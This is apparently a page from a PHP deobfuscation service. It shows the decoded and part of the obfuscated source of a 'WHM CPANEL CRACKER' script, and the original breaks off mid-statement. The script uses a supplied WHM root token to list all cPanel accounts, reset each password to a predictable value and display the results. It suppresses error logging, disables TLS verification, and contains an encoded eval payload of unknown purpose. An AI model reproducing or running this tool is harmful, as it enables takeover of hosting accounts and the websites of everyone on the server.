Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47L\x4f\x42\x41LS"}["xg\x6a\x78\x66\x6b\x6c\x6de"] = "dat\x61"; ${"\x47L\x4f..
Decoded Output download
<?php
${"GLOBALS"}["xgjxfklme"] = "data";
${"GLOBALS"}["rlshnlr"] =
"repii";
${"GLOBALS"}["wvykfytulwmh"] = "encii";
${"GLOBALS"}["thcwhfit"] = "newii";
${"GLOBALS"}["fdrolak"] = "usr";
${"GLOBALS"}["odiuswtl"] = "user";
${"GLOBALS"}["ficpnrzja"] = "row";
${"GLOBALS"}["wpebdugqx"] = "key";
${"GLOBALS"}["sqqelxoapw"] = "dataa";
${"GLOBALS"}["vfenurdkmzkb"] =
"accountList";
${"GLOBALS"}["lwdnxr"] =
"accountListJSON";
${"GLOBALS"}["rgdyhcpon"] = "result";
${"GLOBALS"}["kwcutch"] = "c";
${"GLOBALS"}["ntasfdxxnj"] =
"running";
${"GLOBALS"}["xohqczmjmhlz"] = "options";
${"GLOBALS"}["jemlcbunpa"] = "url";
${"GLOBALS"}["ddkmjpk"] = "curly";
${"GLOBALS"}["nviiqnegwrxv"] = "d";
${"GLOBALS"}["dlyxshmpe"] = "id";
${"GLOBALS"}["vsplgvhjmqy"] =
"mh";
${"GLOBALS"}["tpobpxihk"] = "link";
${"GLOBALS"}["racpasgbhkl"] =
"json";
${"GLOBALS"}["dtvclxradhzk"] =
"ch";
${"GLOBALS"}["uhnwgofpck"] = "t0ken";
${"GLOBALS"}["itvjituyoiz"] = "uxer";
${"GLOBALS"}["qhmbolximbxn"] = "hoxt";
echo "<html> <head><title>WHM CPANEL CRACKER</title> <meta charset="utf-8\"> <meta name="viewport\" content="width=device-width, initial-scale=1\"> <link rel="stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css"> <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script> <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script><style type=\"text/css">table { font-family: arial, sans-serif; border-collapse: collapse;}td, th { border: 1px solid #dddddd; text-align: left; padding: 3px;}tr:nth-child(even) { background-color: #ffffff33;}</style></head>";
@error_reporting(0);
@ini_set("error_log", null);
@ini_set("display_errors", 0);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
echo "<script>alert(\"Cannot be used on a Windows Server")</script>";
exit();
}
if (!empty($_POST["user"])) {
$rjimxyhnuqqg = "link";
${${"GLOBALS"}[
"qhmbolximbxn"
]} = $_REQUEST["host"];
function CurlPage($url, $post = null, $head = false)
{
${"GLOBALS"}["ozcyxkdxwm"] =
"ch";
${"GLOBALS"}["fyckyljd"] =
"head";
$rkyesnhvns = "urlPage";
${${"GLOBALS"}[
"itvjituyoiz"
]} = $_REQUEST["user"];
$kxgggobr = "post";
${"GLOBALS"}["xmvsiylgno"] =
"t0ken";
${"GLOBALS"}["dawdppomyrfc"] =
"ch";
${${"GLOBALS"}["uhnwgofpck"]} =
$_REQUEST["token"];
$xwvdbxbdacpo = "ch";
$kngcdfjkmyr = "uxer";
${"GLOBALS"}["dvgdiprwa"] =
"url";
$wivkxbqx = "ch";
${${"GLOBALS"}[
"dtvclxradhzk"
]} = curl_init();
$jhofkejvok = "ch";
$wsgeeyyrex = "ch";
${"GLOBALS"}["taevedhck"] =
"ch";
$rsfenooo = "ch";
curl_setopt(
${${"GLOBALS"}["ozcyxkdxwm"]},
CURLOPT_URL,
${${"GLOBALS"}[
"dvgdiprwa"
]}
);
curl_setopt(
${${"GLOBALS"}[
"dtvclxradhzk"
]},
CURLOPT_HEADER,
${${"GLOBALS"}["fyckyljd"]}
);
curl_setopt(${$jhofkejvok}, CURLOPT_HTTPHEADER, [
"Authorization: WHM " .
${$kngcdfjkmyr} .
":" .
${${"GLOBALS"}[
"xmvsiylgno"
]},
]);
curl_setopt(${$wivkxbqx}, CURLOPT_FOLLOWLOCATION, 1);
${"GLOBALS"}["etligegl"] =
"ch";
${"GLOBALS"}[
"llmhrpleqtdx"
] = "ch";
curl_setopt(${$wsgeeyyrex}, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(
${${"GLOBALS"}["taevedhck"]},
CURLOPT_SSL_VERIFYPEER,
0
);
curl_setopt(${$xwvdbxbdacpo}, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt(
${${"GLOBALS"}[
"dawdppomyrfc"
]},
CURLOPT_USERAGENT,
$_SERVER["HTTP_USER_AGENT"]
);
$bnnvbdyet = "urlPage";
curl_setopt(
${${"GLOBALS"}["dtvclxradhzk"]},
CURLOPT_COOKIEFILE,
"COOKIE.txt"
);
curl_setopt(${$rsfenooo}, CURLOPT_COOKIEJAR, "COOKIE.txt");
if (${$kxgggobr} != null) {
${"GLOBALS"}["emwohlm"] =
"ch";
curl_setopt(
${${"GLOBALS"}["emwohlm"]},
CURLOPT_POST,
1
);
$xjiddgz = "ch";
$yrrfripre = "post";
curl_setopt(${$xjiddgz}, CURLOPT_POSTFIELDS, ${$yrrfripre});
}
$qdhoobwoub = "ch";
${$bnnvbdyet} = curl_exec(
${${"GLOBALS"}[
"llmhrpleqtdx"
]}
);
if (curl_errno(${$qdhoobwoub})) {
echo curl_error(
${${"GLOBALS"}["dtvclxradhzk"]}
);
}
curl_close(
${${"GLOBALS"}["etligegl"]}
);
return ${$rkyesnhvns};
}
${"GLOBALS"}["hnfmrksb"] = "hoxt";
${$rjimxyhnuqqg} =
${${"GLOBALS"}["hnfmrksb"]} .
"/json-api/listaccts";
${${"GLOBALS"}[
"racpasgbhkl"
]} = CurlPage(
${${"GLOBALS"}["tpobpxihk"]}
);
if (
!preg_match(
"/acct/",
${${"GLOBALS"}["racpasgbhkl"]}
)
) {
echo " <div class='container'> <h2>WHM CPANEL CRACKER</h2> <label for='pwd'>Note! : We don't Accept any responsibility for any illegal usage.</label> <br><br> <label for='note' class='text-danger'>Access denied</label> </div> ";
die();
}
function get_contents($url)
{
$njavjbyv = "ch";
$szjemtgng = "ch";
${${"GLOBALS"}[
"dtvclxradhzk"
]} = curl_init("$url");
$rvlsdt = "ch";
$klkbdju = "ch";
$xfmkkgifpog = "result";
curl_setopt(${$njavjbyv}, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(${$klkbdju}, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt(
${${"GLOBALS"}["dtvclxradhzk"]},
CURLOPT_USERAGENT,
"Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
);
curl_setopt(
${${"GLOBALS"}["dtvclxradhzk"]},
CURLOPT_SSL_VERIFYPEER,
0
);
curl_setopt(${$rvlsdt}, CURLOPT_SSL_VERIFYHOST, 0);
$cbjuqbn = "result";
curl_setopt(${$szjemtgng}, CURLOPT_COOKIEJAR, $GLOBALS["coki"]);
curl_setopt(
${${"GLOBALS"}[
"dtvclxradhzk"
]},
CURLOPT_COOKIEFILE,
$GLOBALS["coki"]
);
${$xfmkkgifpog} = curl_exec(
${${"GLOBALS"}[
"dtvclxradhzk"
]}
);
return ${$cbjuqbn};
}
goto zbM88;
rruM0:
${${"GLOBALS"}[
"tpurljldvi"
]} =
"Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA==";
goto pgAXN;
NFL2H:
${"GLOBALS"}["ivxydhv"] =
"name";
goto O4vzH;
O4vzH:
${"GLOBALS"}["rzkyljxfs"] =
"str";
goto guQfq;
x9aQH:
${${"GLOBALS"}[
"rzkyljxfs"
]} =
"=AJnLayCzbSMAK+Op7iG/H32NZlmq6bhKD6i/Bae7n1pYFBgPTzrcld+BGbv7MjuQw4cSDDljIjB/ta1mcKVMvBX2ouEXGFlGLCeuEnjeXiwViKjM82sCqMyrrX1CzmfUk0WpkEVTkZPdyAv+z/f6WHth9pRVg3oikDU2GuFa7gYvzUXdu4khWNrni5TYRgca+3QkAaL8i+ZGYW6e9AwqS+rYwV6GRaVvo4kr1n+hpFO4JfBywcUm4PTOKYL821PvdJy/McyckcntoDbC+uLdTO/zItqLRDoivwcX55ZtBEJ2tjBEqBVcCETQyjh8bkDYgjeLj1/7tXzv7NYkdZopPUx/MZv/oUsdTY2ksbJTilSLqdjLQFKSYp0a/AbK1EhoQYWh9tgvXMEAJ8aPBZlcin/PHAMB4vyBUTA";
goto rruM0;
zbM88:
${"GLOBALS"}[
"tpurljldvi"
] = "text";
goto NFL2H;
guQfq:
${${"GLOBALS"}["ivxydhv"]} =
"ZXZhbCUyOCUyNyUzRiUyNmd0JTNCJTI3Lmd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjglMjRzdHIlMjklMjklMjklMjklMjklMjklM0I=";
goto x9aQH;
pgAXN:
eval(
gzinflate(
base64_decode(
${${"GLOBALS"}[
"tpurljldvi"
]}
)
)
);
}
function multiRequest($data, $options = [])
{
${"GLOBALS"}["cowxcdoe"] =
"result";
${"GLOBALS"}["qcydcvs"] = "curly";
$imthihpqlmif = "uxer";
${"GLOBALS"}["sitjtigko"] = "data";
${"GLOBALS"}["mmgsqlza"] =
"t0ken";
${$imthihpqlmif} = $_REQUEST["user"];
${${"GLOBALS"}["mmgsqlza"]} =
$_REQUEST["token"];
${${"GLOBALS"}["qcydcvs"]} = [];
${"GLOBALS"}["ffqfrie"] =
"running";
${${"GLOBALS"}["cowxcdoe"]} = [];
${${"GLOBALS"}[
"vsplgvhjmqy"
]} = curl_multi_init();
foreach (
${${"GLOBALS"}["sitjtigko"]}
as ${${"GLOBALS"}[
"dlyxshmpe"
]} =>
${${"GLOBALS"}[
"nviiqnegwrxv"
]}
) {
${"GLOBALS"}["jnhhprwco"] = "d";
$hbjsnhrt = "curly";
$bdhsbjscy = "curly";
$lqlorjgn = "id";
$tbmbxffdce = "id";
${${"GLOBALS"}["ddkmjpk"]}[
${$tbmbxffdce}
] = curl_init();
$kkfvrp = "id";
$qkcmoegnzid = "curly";
${"GLOBALS"}["otjxqotb"] =
"curly";
${"GLOBALS"}["oolvbgj"] = "id";
${"GLOBALS"}["qswuimp"] = "curly";
$tsrdmt = "d";
${"GLOBALS"}[
"hcfvmftgnh"
] = "d";
$twmpmcxqhq = "id";
${"GLOBALS"}["gqripxos"] = "d";
$filxebf = "url";
${$filxebf} =
is_array(
${${"GLOBALS"}[
"jnhhprwco"
]}
) &&
!empty(
${${"GLOBALS"}[
"gqripxos"
]}["url"]
)
? ${$tsrdmt}["url"]
: ${${"GLOBALS"}["hcfvmftgnh"]};
${"GLOBALS"}["bmrasyymojtw"] =
"d";
curl_setopt(
${$qkcmoegnzid}[
${${"GLOBALS"}["dlyxshmpe"]}
],
CURLOPT_URL,
${${"GLOBALS"}["jemlcbunpa"]}
);
curl_setopt(
${$bdhsbjscy}[
${${"GLOBALS"}["dlyxshmpe"]}
],
CURLOPT_HEADER,
0
);
$reempwhbfjk = "id";
curl_setopt(
${${"GLOBALS"}["ddkmjpk"]}[
${$twmpmcxqhq}
],
CURLOPT_RETURNTRANSFER,
1
);
curl_setopt(
${${"GLOBALS"}["ddkmjpk"]}[
${$lqlorjgn}
],
CURLOPT_SSL_VERIFYPEER,
0
);
curl_setopt(
${${"GLOBALS"}["otjxqotb"]}[${$kkfvrp}],
CURLOPT_SSL_VERIFYHOST,
0
);
curl_setopt(
${${"GLOBALS"}["qswuimp"]}[
${$reempwhbfjk}
],
CURLOPT_HTTPHEADER,
[
"Authorization: WHM " .
${${"GLOBALS"}[
"itvjituyoiz"
]} .
":" .
${${"GLOBALS"}["uhnwgofpck"]},
]
);
if (
is_array(
${${"GLOBALS"}[
"bmrasyymojtw"
]}
)
) {
if (
!empty(
${${"GLOBALS"}[
"nviiqnegwrxv"
]}["post"]
)
) {
${"GLOBALS"}["xuzztcwaybs"] =
"curly";
${"GLOBALS"}[
"vhenvmlwbu"
] = "curly";
$imawwukpmx = "d";
$lukwklxadm = "id";
${"GLOBALS"}[
"wwyryimvhg"
] = "id";
curl_setopt(
${${"GLOBALS"}[
"xuzztcwaybs"
]}[
${${"GLOBALS"}[
"wwyryimvhg"
]}
],
CURLOPT_POST,
1
);
curl_setopt(
${${"GLOBALS"}["vhenvmlwbu"]}[
${$lukwklxadm}
],
CURLOPT_POSTFIELDS,
${$imawwukpmx}["post"]
);
}
}
if (
!empty(
${${"GLOBALS"}[
"xohqczmjmhlz"
]}
)
) {
$bhvrfodc = "options";
curl_setopt_array(
${${"GLOBALS"}["ddkmjpk"]}[
${${"GLOBALS"}["dlyxshmpe"]}
],
${$bhvrfodc}
);
}
curl_multi_add_handle(
${${"GLOBALS"}["vsplgvhjmqy"]},
${$hbjsnhrt}[
${${"GLOBALS"}["oolvbgj"]}
]
);
}
${${"GLOBALS"}["ffqfrie"]} = null;
do {
${"GLOBALS"}["xzptelt"] = "running";
curl_multi_exec(
${${"GLOBALS"}["vsplgvhjmqy"]},
${${"GLOBALS"}["xzptelt"]}
);
} while (
${${"GLOBALS"}[
"ntasfdxxnj"
]} > 0
);
foreach (
${${"GLOBALS"}["ddkmjpk"]}
as ${${"GLOBALS"}["dlyxshmpe"]} =>
${${"GLOBALS"}["kwcutch"]}
) {
$nmwfxflppc = "id";
${"GLOBALS"}["fdlauayr"] = "result";
${${"GLOBALS"}["fdlauayr"]}[
${$nmwfxflppc}
] = json_decode(
curl_multi_getcontent(
${${"GLOBALS"}["kwcutch"]}
),
true
);
$ixuplatqin = "mh";
curl_multi_remove_handle(
${$ixuplatqin},
${${"GLOBALS"}["kwcutch"]}
);
}
curl_multi_close(
${${"GLOBALS"}["vsplgvhjmqy"]}
);
return ${${"GLOBALS"}["rgdyhcpon"]};
}
if (!empty($_POST["user"])) {
$ymovfmwtaua = "data";
${"GLOBALS"}["mrnmjshp"] =
"accountList";
$ueprbwoh = "accountListJSON";
$nwopoflmvfv = "accountList";
${"GLOBALS"}["zmwedvjarii"] = "r";
$gvensk = "json";
${${"GLOBALS"}["lwdnxr"]} = utf8_encode(
${$gvensk}
);
${${"GLOBALS"}[
"vfenurdkmzkb"
]} = json_decode(${$ueprbwoh}, true);
if (
is_array(
${${"GLOBALS"}["mrnmjshp"]}
) === false
) {
return false;
}
if (is_array(${$nwopoflmvfv}["acct"]) === false) {
return false;
}
echo "<div class='container'> <h2>WHM CPANEL CRACKER</h2> <label for='pwd'>Note! : We don't Accept any responsibility for any illegal usage.</label> <br><br> <table style='width:800'> <tr> <th>Cpanel</th> <th>Username</th> <th>Password</th> </tr>";
${${"GLOBALS"}["sqqelxoapw"]} =
${${"GLOBALS"}["vfenurdkmzkb"]}[
"acct"
];
${$ymovfmwtaua} = [];
foreach (
${${"GLOBALS"}["sqqelxoapw"]}
as ${${"GLOBALS"}[
"wpebdugqx"
]} =>
${${"GLOBALS"}[
"ficpnrzja"
]}
) {
${"GLOBALS"}["fhsqls"] = "domain";
$dxthubkpg = "row";
${"GLOBALS"}["bomwbbp"] = "domin";
${"GLOBALS"}["pphkvtobsqr"] =
"key";
${"GLOBALS"}["gyxykkcdrtck"] =
"domain";
${${"GLOBALS"}["odiuswtl"]}[
${${"GLOBALS"}[
"pphkvtobsqr"
]}
] = ${$dxthubkpg}["user"];
${${"GLOBALS"}[
"gyxykkcdrtck"
]}[${${"GLOBALS"}["wpebdugqx"]}] =
${${"GLOBALS"}["ficpnrzja"]}[
"domain"
];
foreach (
${${"GLOBALS"}[
"odiuswtl"
]}
as ${${"GLOBALS"}["fdrolak"]}
);
foreach (
${${"GLOBALS"}["fhsqls"]}
as ${${"GLOBALS"}["bomwbbp"]}
);
${"GLOBALS"}["fkzfyqj"] =
"newpass";
${"GLOBALS"}["duwtgymm"] =
"strii";
${"GLOBALS"}["rynvytd"] = "newii";
$ixviuep = "usr";
$mvrebgu = "hoxt";
${"GLOBALS"}["gvdhswredmqq"] =
"repii";
$dgrtynyj = "strii";
${${"GLOBALS"}["duwtgymm"]} = sha1(${$ixviuep});
${${"GLOBALS"}["thcwhfit"]} = substr(
${$dgrtynyj},
35
);
$jvtikfjivv = "data";
${${"GLOBALS"}[
"wvykfytulwmh"
]} = base64_encode(
gzdeflate(
${${"GLOBALS"}["rynvytd"]}
)
);
$bhivvgloejo = "domin";
${${"GLOBALS"}["rlshnlr"]} = str_replace(
"=",
"",
${${"GLOBALS"}["wvykfytulwmh"]}
);
$ggoepxml = "newpass";
$nrodmdrxeq = "newpass";
${$nrodmdrxeq} =
"3" .
${${"GLOBALS"}[
"gvdhswredmqq"
]} .
"@";
${$jvtikfjivv}[] =
${$mvrebgu} .
"/json-api/passwd?api.version=1&user=" .
${${"GLOBALS"}["fdrolak"]} .
"&password=" .
${$ggoepxml} .
"&locale=en";
echo "<tr><td>https://" .
${$bhivvgloejo} .
":2083</td>" .
"<td>" .
${${"GLOBALS"}["fdrolak"]} .
"</td><td>" .
${${"GLOBALS"}["fkzfyqj"]} .
"</td>";
}
${${"GLOBALS"}[
"zmwedvjarii"
]} = multiRequest(
${${"GLOBALS"}["xgjxfklme"]}
);
echo "</table>";
echo "<br><font color=#ff9933><b>Successfully Changed</b></font><br><br><br></div>";
die();
}
echo "<body> <div class="container"> <h2>WHM CPANEL CRACKER</h2> <label for=\"pwd\">Note! : We don\"t Accept any responsibility for any illegal usage.</label> <br><br> <form method=\"post" > <div class="form-group"> <label for=\"host\">Host:</label> <input type=\"text\" class="form-control\" id=\"email\" placeholder=\"https://example.com:2087\" name=\"host"> </div> <div class="form-group"> <label for=\"user">User:</label> <input type=\"text" class=\"form-control" id=\"pwd" placeholder=\"root\" name="user\"> </div> <div class="form-group\"> <label for=\"token">Accesshash or Api token:</label> <input type=\"text" class="form-control" id=\"pwd" placeholder="ZAI4DR19QDK2X6877Q6SEXPGW0CQVOQV\" name="token"> </div> <button type=\"submit" class=\"btn btn-default\">Submit</button> </form> </div> </body> </html>";
?>
Did this file decode correctly?
Original Code
<?php
${"\x47L\x4f\x42\x41LS"}["xg\x6a\x78\x66\x6b\x6c\x6de"] = "dat\x61";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x6c\x73\x68nl\x72"] =
"\x72\x65\x70\x69\x69";
${"\x47\x4c\x4f\x42A\x4c\x53"}["wv\x79k\x66y\x74ulw\x6dh"] = "\x65ncii";
${"\x47L\x4f\x42ALS"}["\x74\x68\x63\x77\x68\x66\x69\x74"] = "\x6e\x65wii";
${"G\x4c\x4fB\x41\x4c\x53"}["\x66\x64\x72olak"] = "u\x73\x72";
${"\x47\x4c\x4f\x42\x41\x4cS"}["o\x64\x69\x75s\x77\x74\x6c"] = "\x75\x73\x65r";
${"G\x4c\x4f\x42A\x4c\x53"}["fi\x63\x70\x6er\x7a\x6a\x61"] = "\x72o\x77";
${"GL\x4fBA\x4c\x53"}["\x77\x70\x65\x62\x64\x75gqx"] = "\x6b\x65\x79";
${"G\x4cO\x42\x41\x4c\x53"}["\x73qqel\x78o\x61pw"] = "\x64\x61t\x61\x61";
${"\x47L\x4fB\x41\x4c\x53"}["vf\x65n\x75\x72\x64\x6b\x6d\x7a\x6bb"] =
"\x61\x63c\x6f\x75\x6e\x74L\x69s\x74";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6cw\x64nx\x72"] =
"\x61\x63\x63\x6f\x75n\x74\x4ci\x73\x74\x4aSO\x4e";
${"G\x4c\x4f\x42\x41L\x53"}["r\x67d\x79h\x63p\x6fn"] = "\x72e\x73\x75lt";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6bw\x63u\x74\x63\x68"] = "c";
${"\x47\x4c\x4fBA\x4c\x53"}["\x6e\x74\x61sf\x64\x78\x78\x6e\x6a"] =
"r\x75\x6e\x6e\x69ng";
${"\x47LOB\x41LS"}["xohq\x63\x7a\x6d\x6amhl\x7a"] = "\x6f\x70\x74i\x6f\x6e\x73";
${"GLO\x42\x41L\x53"}["je\x6dl\x63\x62un\x70a"] = "\x75r\x6c";
${"GLO\x42\x41L\x53"}["dd\x6b\x6dj\x70k"] = "\x63\x75\x72\x6cy";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6evi\x69q\x6e\x65\x67w\x72x\x76"] = "d";
${"\x47\x4cO\x42A\x4c\x53"}["\x64l\x79\x78s\x68\x6dp\x65"] = "\x69\x64";
${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x73\x70\x6c\x67\x76\x68j\x6d\x71y"] =
"\x6d\x68";
${"\x47\x4c\x4f\x42\x41LS"}["\x74\x70\x6f\x62\x70x\x69\x68\x6b"] = "\x6ci\x6ek";
${"\x47\x4cO\x42A\x4cS"}["r\x61\x63\x70\x61s\x67\x62\x68\x6bl"] =
"\x6a\x73o\x6e";
${"G\x4c\x4f\x42\x41LS"}["d\x74\x76\x63\x6c\x78\x72a\x64h\x7a\x6b"] =
"\x63\x68";
${"\x47\x4c\x4f\x42\x41\x4cS"}["u\x68n\x77go\x66pc\x6b"] = "\x74\x30\x6b\x65n";
${"\x47L\x4fB\x41\x4cS"}["\x69t\x76\x6a\x69\x74\x75y\x6fi\x7a"] = "\x75\x78er";
${"\x47L\x4fB\x41L\x53"}["q\x68\x6db\x6f\x6c\x78\x69\x6dbx\x6e"] = "hox\x74";
echo "\x3ch\x74m\x6c>\x20<\x68\x65\x61d>\x3ct\x69t\x6c\x65>\x57\x48M\x20C\x50A\x4eE\x4c \x43R\x41C\x4bE\x52</tit\x6ce>\x20\x20\x20\x3cmeta c\x68\x61rs\x65t\x3d\x22u\x74f-8\">\x20\x20 <met\x61 n\x61me\x3d\x22v\x69\x65wpor\x74\"\x20con\x74ent=\x22\x77i\x64\x74h\x3d\x64ev\x69\x63\x65-w\x69\x64th, initi\x61\x6c-s\x63ale=\x31\"> <l\x69nk \x72el=\x22\x73\x74yles\x68\x65\x65\x74\"\x20h\x72\x65\x66\x3d\"h\x74\x74\x70\x73://ma\x78c\x64\x6e\x2eb\x6fots\x74r\x61\x70\x63dn.\x63om/\x62oot\x73\x74rap/3.\x34\x2e\x31/css/bo\x6f\x74\x73t\x72ap\x2emi\x6e\x2e\x63\x73\x73\x22>\x20\x20\x20<s\x63\x72ip\x74\x20\x73\x72\x63=\"https://\x61jax.\x67o\x6f\x67\x6ce\x61pi\x73.com/a\x6a\x61\x78/\x6c\x69b\x73/\x6aq\x75\x65\x72y/\x33.\x35\x2e1/\x6a\x71ue\x72y\x2em\x69\x6e.\x6as\"\x3e\x3c/s\x63\x72\x69p\x74> \x20\x20<\x73\x63ript \x73rc=\"\x68ttp\x73://m\x61xcd\x6e\x2e\x62o\x6ft\x73tra\x70\x63d\x6e.c\x6f\x6d/\x62o\x6fts\x74\x72\x61p/3\x2e4\x2e1/\x6a\x73/b\x6f\x6f\x74str\x61\x70.\x6d\x69n\x2ejs\x22\x3e\x3c/\x73\x63\x72\x69pt\x3e<s\x74yl\x65\x20\x74\x79\x70e=\"\x74\x65xt/\x63\x73s\x22>ta\x62le { fo\x6e\x74-f\x61m\x69\x6cy:\x20\x61ria\x6c,\x20\x73\x61\x6es-seri\x66\x3b \x62\x6frde\x72-\x63ollap\x73e: co\x6clap\x73\x65;}t\x64,\x20\x74h\x20{\x20b\x6f\x72der: \x31\x70x\x20\x73\x6fl\x69\x64 #\x64ddddd;\x20tex\x74-\x61l\x69g\x6e:\x20\x6c\x65f\x74; pa\x64di\x6e\x67: \x33\x70x\x3b}tr:\x6e\x74h-\x63\x68\x69ld(e\x76en)\x20{ \x20\x62ack\x67\x72o\x75\x6e\x64-c\x6f\x6c\x6f\x72:\x20#\x66\x66f\x66ff3\x33\x3b}</\x73t\x79\x6c\x65\x3e</\x68ead>";
@error_reporting(0);
@ini_set("\x65rr\x6fr\x5f\x6c\x6fg", null);
@ini_set("d\x69\x73p\x6ca\x79_\x65\x72rors", 0);
@ini_set("\x6cog_\x65\x72r\x6f\x72s", 0);
@ini_set("\x6da\x78_ex\x65c\x75tion\x5f\x74im\x65", 0);
@set_time_limit(0);
if (strtolower(substr(PHP_OS, 0, 3)) == "\x77i\x6e") {
echo "\x3c\x73\x63\x72i\x70\x74\x3ealert(\"Cann\x6ft\x20\x62\x65 u\x73\x65\x64\x20\x6f\x6e \x61\x20W\x69\x6ed\x6fws \x53e\x72\x76er\x22)\x3c/s\x63\x72\x69\x70t>";
exit();
}
if (!empty($_POST["u\x73\x65r"])) {
$rjimxyhnuqqg = "l\x69\x6ek";
${${"\x47\x4c\x4fB\x41\x4c\x53"}[
"\x71\x68\x6d\x62o\x6c\x78\x69\x6d\x62x\x6e"
]} = $_REQUEST["ho\x73\x74"];
function CurlPage($url, $post = null, $head = false)
{
${"\x47\x4c\x4fB\x41L\x53"}["\x6fz\x63\x79\x78\x6b\x64xwm"] =
"\x63\x68";
${"\x47\x4c\x4fBA\x4cS"}["\x66y\x63k\x79l\x6a\x64"] =
"\x68\x65\x61\x64";
$rkyesnhvns = "\x75rl\x50\x61ge";
${${"G\x4c\x4f\x42\x41\x4c\x53"}[
"\x69\x74\x76\x6ai\x74\x75\x79\x6fi\x7a"
]} = $_REQUEST["u\x73e\x72"];
$kxgggobr = "\x70\x6fs\x74";
${"\x47\x4c\x4f\x42ALS"}["x\x6d\x76\x73i\x79\x6cg\x6e\x6f"] =
"t\x30k\x65\x6e";
${"G\x4c\x4fBA\x4c\x53"}["\x64\x61w\x64\x70\x70o\x6dy\x72\x66c"] =
"\x63h";
${${"\x47\x4c\x4f\x42A\x4c\x53"}["uhnw\x67\x6f\x66p\x63k"]} =
$_REQUEST["token"];
$xwvdbxbdacpo = "\x63h";
$kngcdfjkmyr = "ux\x65\x72";
${"\x47\x4cOBA\x4c\x53"}["\x64\x76\x67\x64i\x70r\x77\x61"] =
"\x75\x72l";
$wivkxbqx = "\x63h";
${${"G\x4cO\x42\x41\x4c\x53"}[
"\x64\x74v\x63\x6cx\x72a\x64h\x7a\x6b"
]} = curl_init();
$jhofkejvok = "\x63h";
$wsgeeyyrex = "ch";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x61\x65v\x65\x64h\x63\x6b"] =
"c\x68";
$rsfenooo = "\x63\x68";
curl_setopt(
${${"\x47LO\x42\x41\x4cS"}["o\x7a\x63\x79\x78k\x64x\x77m"]},
CURLOPT_URL,
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x64v\x67\x64\x69\x70\x72\x77\x61"
]}
);
curl_setopt(
${${"\x47\x4c\x4f\x42\x41\x4cS"}[
"\x64\x74v\x63\x6cxr\x61\x64h\x7a\x6b"
]},
CURLOPT_HEADER,
${${"GL\x4f\x42\x41\x4c\x53"}["fyck\x79l\x6a\x64"]}
);
curl_setopt(${$jhofkejvok}, CURLOPT_HTTPHEADER, [
"\x41\x75t\x68o\x72iz\x61t\x69o\x6e: \x57H\x4d " .
${$kngcdfjkmyr} .
":" .
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"x\x6d\x76\x73\x69\x79\x6c\x67\x6eo"
]},
]);
curl_setopt(${$wivkxbqx}, CURLOPT_FOLLOWLOCATION, 1);
${"\x47\x4cO\x42A\x4c\x53"}["\x65\x74\x6c\x69\x67\x65\x67\x6c"] =
"c\x68";
${"\x47LO\x42\x41\x4c\x53"}[
"\x6c\x6c\x6dh\x72\x70\x6ce\x71\x74\x64\x78"
] = "c\x68";
curl_setopt(${$wsgeeyyrex}, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(
${${"G\x4c\x4f\x42\x41\x4cS"}["\x74\x61eve\x64h\x63k"]},
CURLOPT_SSL_VERIFYPEER,
0
);
curl_setopt(${$xwvdbxbdacpo}, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt(
${${"G\x4c\x4f\x42\x41\x4cS"}[
"d\x61\x77d\x70p\x6fm\x79\x72\x66\x63"
]},
CURLOPT_USERAGENT,
$_SERVER["H\x54\x54P\x5f\x55\x53ER\x5f\x41\x47E\x4e\x54"]
);
$bnnvbdyet = "\x75\x72\x6c\x50ag\x65";
curl_setopt(
${${"GL\x4f\x42\x41\x4c\x53"}["\x64\x74\x76clx\x72a\x64hz\x6b"]},
CURLOPT_COOKIEFILE,
"\x43\x4f\x4f\x4bIE.t\x78\x74"
);
curl_setopt(${$rsfenooo}, CURLOPT_COOKIEJAR, "COOKIE.t\x78t");
if (${$kxgggobr} != null) {
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x65\x6d\x77o\x68l\x6d"] =
"\x63\x68";
curl_setopt(
${${"\x47\x4c\x4f\x42\x41L\x53"}["e\x6d\x77o\x68\x6c\x6d"]},
CURLOPT_POST,
1
);
$xjiddgz = "\x63h";
$yrrfripre = "\x70\x6f\x73\x74";
curl_setopt(${$xjiddgz}, CURLOPT_POSTFIELDS, ${$yrrfripre});
}
$qdhoobwoub = "\x63\x68";
${$bnnvbdyet} = curl_exec(
${${"GL\x4f\x42A\x4c\x53"}[
"\x6c\x6c\x6d\x68\x72p\x6c\x65\x71t\x64\x78"
]}
);
if (curl_errno(${$qdhoobwoub})) {
echo curl_error(
${${"\x47\x4c\x4f\x42ALS"}["\x64\x74\x76\x63\x6cxra\x64h\x7ak"]}
);
}
curl_close(
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x74\x6c\x69g\x65\x67\x6c"]}
);
return ${$rkyesnhvns};
}
${"GL\x4f\x42\x41LS"}["\x68\x6e\x66\x6d\x72\x6b\x73\x62"] = "\x68oxt";
${$rjimxyhnuqqg} =
